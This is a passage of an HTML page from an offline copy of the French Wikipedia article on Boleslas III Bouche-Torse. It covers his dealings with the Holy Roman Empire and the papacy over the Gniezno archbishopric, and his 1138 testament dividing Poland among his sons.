<p>Depuis le début de son règne, les relations avec le Saint Empire qui soutenait son demi-frère Zbigniew se sont gravement détériorées. La défaite de l’empereur Henri V à Psie Pole a calmé pendant un temps les appétits du Saint Empire. En <a href="../../../../articles/1/1/3/1133.html" title="1133">1133</a>, le <a href="../../../../articles/p/a/p/Pape.html" title="Pape">pape</a> <a href="../../../../articles/i/n/n/Innocent_II_70e7.html" title="Innocent II">Innocent II</a>, subissant les pressions du Saint Empire, publie une <a href="../../../../articles/b/u/l/Bulle_%28religion%29.html" class="mw-redirect" title="Bulle (religion)">bulle</a> refusant l’indépendance de l’archevêché de <a href="../../../../articles/g/n/i/Gniezno.html" title="Gniezno">Gniezno</a>. Tous les évêchés polonais sont rattachés à celui de <a href="../../../../articles/m/a/g/Magdebourg.html" title="Magdebourg">Magdebourg</a>. Les <a href="../../../../articles/p/o/l/Pologne.html" title="Pologne">Polonais</a>, par l'intermédiaire de l'<a href="../../../../articles/a/r/c/Archev%C3%AAque.html" title="Archevêque">archevêque</a> <a href="../../../../articles/j/a/c/Jacques_de_Znina_52d6.html" title="Jacques de Znina">Jacques de Znina</a>, font appel à cette décision et se rapprochent de l’<a href="../../../../articles/a/n/t/Antipape.html" title="Antipape">antipape</a> <a href="../../../../articles/a/n/a/Anaclet_II_c270.html" title="Anaclet II">Anaclet II</a>. En août <a href="../../../../articles/1/1/3/1135.html" title="1135">1135</a>, à <a href="../../../../articles/m/e/r/Mersebourg.html" title="Mersebourg">Mersebourg</a>, Boleslas III Bouche-Torse se reconnaît <a href="../../../../articles/v/a/s/Vassal.html" class="mw-redirect" title="Vassal">vassal</a> de l’empereur Lothaire II et accepte de lui payer un tribut annuel. En échange, il obtient la reconnaissance de l’indépendance de l’archevêché polonais mais la Poméranie occidentale devient <a href="../../../../articles/f/i/e/Fief.html" title="Fief">fief</a> de l’empereur Lothaire. Le <a href="../../../../articles/7/_/j/7_juillet.html" title="7 juillet">7 juillet</a> <a href="../../../../articles/1/1/3/1136.html" title="1136">1136</a>, la <a href="../../../../articles/b/u/l/Bulle_de_Gniezno_9ba4.html" title="Bulle de Gniezno">Bulle de Gniezno</a> du pape Innocent II confirme l’indépendance de l’<a href="../../../../articles/%C3%A9/g/l/%C3%89glise_%28institution%29.html" title="Église (institution)">Église</a> polonaise.</p>
<p><a name="Le_testament_de_Boleslas_III_le_Bouche-Torse" id="Le_testament_de_Boleslas_III_le_Bouche-Torse"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Le testament de Boleslas III le Bouche-Torse">modifier</a>]</span> <span class="mw-headline">Le testament de Boleslas III le Bouche-Torse</span></h2>
<p>Boleslas III Bouche-Torse meurt le <a href="../../../../articles/2/8/_/28_octobre.html" title="28 octobre">28 octobre</a> <a href="../../../../articles/1/1/3/1138.html" title="1138">1138</a>. Son <a href="../../../../articles/t/e/s/Testament_%28droit%29.html" title="Testament (droit)">testament</a>, rédigé quelques années auparavant et inspiré des coutumes de <a href="../../../../articles/r/u/s/Rus%27_de_Kiev_ca54.html" title="Rus' de Kiev">Kiev</a>, marque le début du démembrement territorial de la Pologne. Il a partagé son État entre ses quatre fils, chacun recevant un duché héréditaire. <a href="../../../../articles/l/a/d/Ladislas_II_le_Banni_20ef.html" title="Ladislas II le Banni">Ladislas II le Banni</a> reçoit la <a href="../../../../articles/s/i/l/Sil%C3%A9sie.html" title="Silésie">Silésie</a> (avec <a href="../../../../articles/w/r/o/Wroc%C5%82aw.html" title="Wrocław">Wrocław</a> comme capitale), <a href="../../../../articles/b/o/l/Boleslas_IV_le_Fris%C3%A9_c11a.html" title="Boleslas IV le Frisé">Boleslas IV le Frisé</a> reçoit la <a href="../../../../articles/m/a/z/Mazovie.html" class="mw-redirect" title="Mazovie">Mazovie</a> et la <a href="../../../../articles/c/u/j/Cujavie.html" title="Cujavie">Cujavie</a> (avec <a href="../../../../articles/p/%C5%82/o/P%C5%82ock.html" title="Płock">Płock</a> comme capitale), <a href="../../../../articles/m/i/e/Mieszko_III_le_Vieux_95f5.html" title="Mieszko III le Vieux">Mieszko III le Vieux</a> reçoit la <a href="../../../../articles/g/r/a/Grande-Pologne_d726.html" title="Grande-Pologne">Grande-Pologne</a> (avec <a href="../../../../articles/p/o/z/Pozna%C5%84.html" title="Poznań">Poznań</a> comme capitale), <a href="../../../../articles/h/e/n/Henri_de_Sandomierz_3157.html" title="Henri de Sandomierz">Henri</a> reçoit le <a href="../../../../articles/l/i/s/Liste_des_ducs_de_Sandomierz_8d75.html" title="Liste des ducs de Sandomierz">duché de Sandomierz</a> (avec <a href="../../../../articles/s/a/n/Sandomierz.html" title="Sandomierz">Sandomierz</a> comme capitale). L’aîné des représentants mâles de la dynastie Piast, Ladislas II le Banni, devient le <i>princeps</i> (ou <i>senior</i>) et à ce titre, gouverne également sur la <a href="../../../../articles/p/e/t/Petite_Pologne_678e.html" class="mw-redirect" title="Petite Pologne">Petite Pologne</a> (avec <a href="../../../../articles/c/r/a/Cracovie.html" title="Cracovie">Cracovie</a> comme capitale), la <a href="../../../../articles/g/r/a/Grande-Pologne_d726.html" title="Grande-Pologne">Grande-Pologne</a> orientale avec <a href="../../../../articles/g/n/i/Gniezno.html" title="Gniezno">Gniezno</a> et <a href="../../../../articles/k/a/l/Kalisz.html" title="Kalisz">Kalisz</a>, la <a href="../../../../articles/p/o/m/Pom%C3%A9ranie_occidentale.html" title="Poméranie occidentale">Poméranie occidentale</a>, la <a href="../../../../articles/p/o/m/Pom%C3%A9ranie_orientale.html" title="Poméranie orientale">Poméranie orientale</a> ainsi que la région de <a href="../../../../articles/%C5%82/%C4%99/c/%C5%81%C4%99czyca.html" title="Łęczyca">Łęczyca</a> et de <a href="../../../../articles/s/i/e/Sieradz.html" title="Sieradz">Sieradz</a> (après la mort de Salomé). C'est lui qui décide en dernier ressort sur les questions de politique étrangère, conclut les traités, déclare les guerres, a le droit d'investiture, est le chef et le juge suprême. <a href="../../../../articles/c/a/s/Casimir_II_le_Juste_41f4.html" title="Casimir II le Juste">Casimir II le Juste</a>, qui n’était pas né lors de la rédaction du testament, ne reçoit rien.</p>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul>
<li><a href="../../../../articles/h/i/s/Histoire_de_la_Pologne_eed0.html" title="Histoire de la Pologne">Histoire de la Pologne</a></li>
<li><a href="../../../../articles/p/i/a/Piast.html" class="mw-redirect" title="Piast">Piast</a></li>
</ul>
<table rules="all" align="center" cellpadding="2" border="1" style="width:80%; clear:both; margin:0.5em auto; background-color:#f7f8ff; border:1px solid #aaa;border-collapse: collapse;font-size: 95%;">
<tr>
<th scope="col" width="30%" align="center" style="font-weight: normal">Précédé par</th>
<th scope="col" width="40%" align="center">Boleslas III le Bouche-Torse</th>
<th scope="col" width="30%" align="center" style="font-weight: normal">Suivi par</th>
</tr>
<tr>
<td align="center" bgcolor="white"><b><a href="../../../../articles/l/a/d/Ladislas_Ier_Herman_cd31.html" title="Ladislas Ier Herman">Ladislas Ier Herman</a></b></td>
<td align="center" bgcolor="red" style="padding:1px">
<table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" style="background-color:transparent;padding-top:3px">
<tr>
<td align="center"><b><a href="../../../../articles/h/e/r/Image%7EHerb_Polski.svg_baa8.html" class="image" title="Herb Polski.svg"><img alt="" src="../../../../images/shared/thumb/c/c9/Herb_Polski.svg/50px-Herb_Polski.svg.png" width="50" height="59" border="0" /></a><br />
<a href="../../../../articles/l/i/s/Liste_des_rois_de_Pologne_c4d0.html" class="mw-redirect" title="Liste des rois de Pologne">Souverains de Pologne</a></b></td>
</tr>
</table>
</td>
<td align="center" bgcolor="white"><b><a href="../../../../articles/l/a/d/Ladislas_II_le_Banni_20ef.html" title="Ladislas II le Banni">Ladislas II le Banni</a></b></td>
</tr>
</table>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/p/o/l/Image%7EPoland_map_flag.svg_5ab5.html" class="image" title="Icône du portail de la Pologne"><img alt="Icône du portail de la Pologne" src="../../../../images/shared/thumb/9/9c/Poland_map_flag.svg/24px-Poland_map_flag.svg.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/p/o/l/Portail%7EPologne_dd13.html" title="Portail:Pologne">Portail de la Pologne</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/a/c/_/Image%7EAc_papyrus.png_c7de.html" class="image" title="Icône du portail de l’histoire"><img alt="Icône du portail de l’histoire" src="../../../../images/shared/thumb/6/61/Ac_papyrus.png/30px-Ac_papyrus.png" width="30" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/l/i/Portail%7ECliop%C3%A9dia_533a.html" title="Portail:Cliopédia">Portail de l’histoire</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 274/1000000
Post-expand include size: 3834/2048000 bytes
Template argument size: 631/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/i/a/Cat%C3%A9gorie%7EPiast_16b6.html" title="Catégorie:Piast">Piast</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1138_e30e.html" title="Catégorie:Décès en 1138">Décès en 1138</a></span> | <span dir='ltr'><a href="../../../../articles/s/o/u/Cat%C3%A9gorie%7ESouverain_de_Pologne_ef50.html" title="Catégorie:Souverain de Pologne">Souverain de Pologne</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/o/l/Boleslas_III_le_Bouche-Torse_ad7e.html">Article</a></li><li id="ca-talk"
	       class="new"	       ><a href="../../../../articles/b/o/l/Discuter%7EBoleslas_III_le_Bouche-Torse_8e1b.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Boleslas_III_le_Bouche-Torse">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../ca/articles/b/o/l/Boleslau_III_de_Pol%C3%B2nia_1375.html">Català</a>
	      </li>
	      	      <li>
	      <a href="../../../../../cs/articles/b/o/l/Boleslav_III._K%C5%99ivo%C3%BAst%C3%BD_f569.html">Česky</a>
	      </li>
	      	      <li>
	      <a href="../../../../../de/articles/b/o/l/Boles%C5%82aw_III._%28Polen%29_97ad.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/b/o/l/Boles%C5%82aw_III_Wrymouth_accf.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/b/o/l/Boleslao_III_el_Bocatorcida_bf48.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../he/articles/%D7%91/%D7%95/%D7%9C/%D7%91%D7%95%D7%9C%D7%A1%D7%9C%D7%90%D7%91_%D7%94%D7%A9%D7%9C%D7%99%D7%A9%D7%99_%D7%A2%D7%A7%D7%95%D7%9D_%D7%94%D7%A4%D7%94.html">עברית</a>
	      </li>
	      	      <li>
	      <a href="../../../../../hu/articles/i/i/i/III._Boleszl%C3%A1v_lengyel_fejedelem_e91e.html">Magyar</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/b/o/l/Boleslao_III_di_Polonia_ee9f.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%83%9C/%E3%83%AC/%E3%82%B9/%E3%83%9C%E3%83%AC%E3%82%B9%E3%83%AF%E3%83%953%E4%B8%96_%28%E3%83%9D%E3%83%BC%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B%29.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../lt/articles/b/o/l/Boleslovas_III_Kreivaburnis_828b.html">Lietuvių</a>
	      </li>
	      	      <li>
	      <a href="../../../../../lv/articles/b/o/%C4%BC/Bo%C4%BCeslavs_III_%28Polija%29_b65b.html">Latviešu</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/b/o/l/Boles%C5%82aw_III_van_Polen_dd41.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../no/articles/b/o/l/Boles%C5%82aw_III_av_Polen_63dc.html">‪Norsk (bokmål)‬</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pl/articles/b/o/l/Boles%C5%82aw_III_Krzywousty_37eb.html">Polski</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ru/articles/%D0%B1/%D0%BE/%D0%BB/%D0%91%D0%BE%D0%BB%D0%B5%D1%81%D0%BB%D0%B0%D0%B2_III_%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%83%D1%81%D1%82%D1%8B%D0%B9_3f45.html">Русский</a>
	      </li>
	      	      <li>
	      <a href="../../../../../sv/articles/b/o/l/Boleslav_III_d9bc.html">Svenska</a>
	      </li>
	      	      <li>
	      <a href="../../../../../uk/articles/%D0%B1/%D0%BE/%D0%BB/%D0%91%D0%BE%D0%BB%D0%B5%D1%81%D0%BB%D0%B0%D0%B2_III_%D0%9A%D1%80%D0%B8%D0%B2%D0%BE%D1%83%D1%81%D1%82%D0%B8%D0%B9_26f4.html">Українська</a>
	      </li>
	      	      <li>
	      <a href="../../../../../zh/articles/%E6%B3%A2/%E5%88%97/%E6%96%AF/%E6%B3%A2%E5%88%97%E6%96%AF%E7%93%A6%E5%A4%AB%E4%B8%89%E4%B8%96.html">中文</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 10 mai 2008 à 08:56 par Utilisateur <a href="../../../../articles/d/r/i/Utilisateur%7EDricokit_c6a9.html" title="Utilisateur:Dricokit">Dricokit</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/v/o/l/Utilisateur%7EVolkovBot_0e6c.html" title="Utilisateur:VolkovBot">VolkovBot</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/l/e/_/Utilisateur%7ELe_Pied-bot_aba6.html" title="Utilisateur:Le Pied-bot">Le Pied-bot</a>, <a href="../../../../articles/p/i/p/Utilisateur%7EPipepBot_2d31.html" title="Utilisateur:PipepBot">PipepBot</a>, <a href="../../../../articles/s/i/e/Utilisateur%7ESieBot_a9a8.html" title="Utilisateur:SieBot">SieBot</a>, <a href="../../../../articles/e/p/i/Utilisateur%7EEpicure62_9cce.html" title="Utilisateur:Epicure62">Epicure62</a>, <a href="../../../../articles/a/n/a/Utilisateur%7EAnalphabot_18d0.html" title="Utilisateur:Analphabot">Analphabot</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/r/o/b/Utilisateur%7ERobotQuistnix_d78e.html" title="Utilisateur:RobotQuistnix">RobotQuistnix</a>, <a href="../../../../articles/b/i/l/Utilisateur%7EBilou_b9b0.html" title="Utilisateur:Bilou">Bilou</a>, <a href="../../../../articles/t/h/i/Utilisateur%7EThijs%21bot_c2d6.html" title="Utilisateur:Thijs!bot">Thijs!bot</a>, <a href="../../../../articles/j/a/n/Utilisateur%7EJAnDbot_ea65.html" title="Utilisateur:JAnDbot">JAnDbot</a>, <a href="../../../../articles/c/r/o/Utilisateur%7ECrouchineki_ec8d.html" title="Utilisateur:Crouchineki">Crouchineki</a>, <a href="../../../../articles/e/s/k/Utilisateur%7EEskimbot_5ab8.html" title="Utilisateur:Eskimbot">Eskimbot</a>, <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a>, <a href="../../../../articles/y/u/r/Utilisateur%7EYurikBot_0f63.html" title="Utilisateur:YurikBot">YurikBot</a>, <a href="../../../../articles/t/h/e/Utilisateur%7EThedreamstree_e438.html" title="Utilisateur:Thedreamstree">Thedreamstree</a>, <a href="../../../../articles/m/a/g/Utilisateur%7EMagnetiK-BoT_45d2.html" title="Utilisateur:MagnetiK-BoT">MagnetiK-BoT</a>, <a href="../../../../articles/p/h/i/Utilisateur%7EPhilip_7c38.html" title="Utilisateur:Philip">Philip</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/v/a/l/Utilisateur%7EVal%C3%A9rie75_1218.html" title="Utilisateur:Valérie75">Valérie75</a> et <a href="../../../../articles/d/i/a/Utilisateur%7EDiamondDave_9fa1.html" title="Utilisateur:DiamondDave">DiamondDave</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX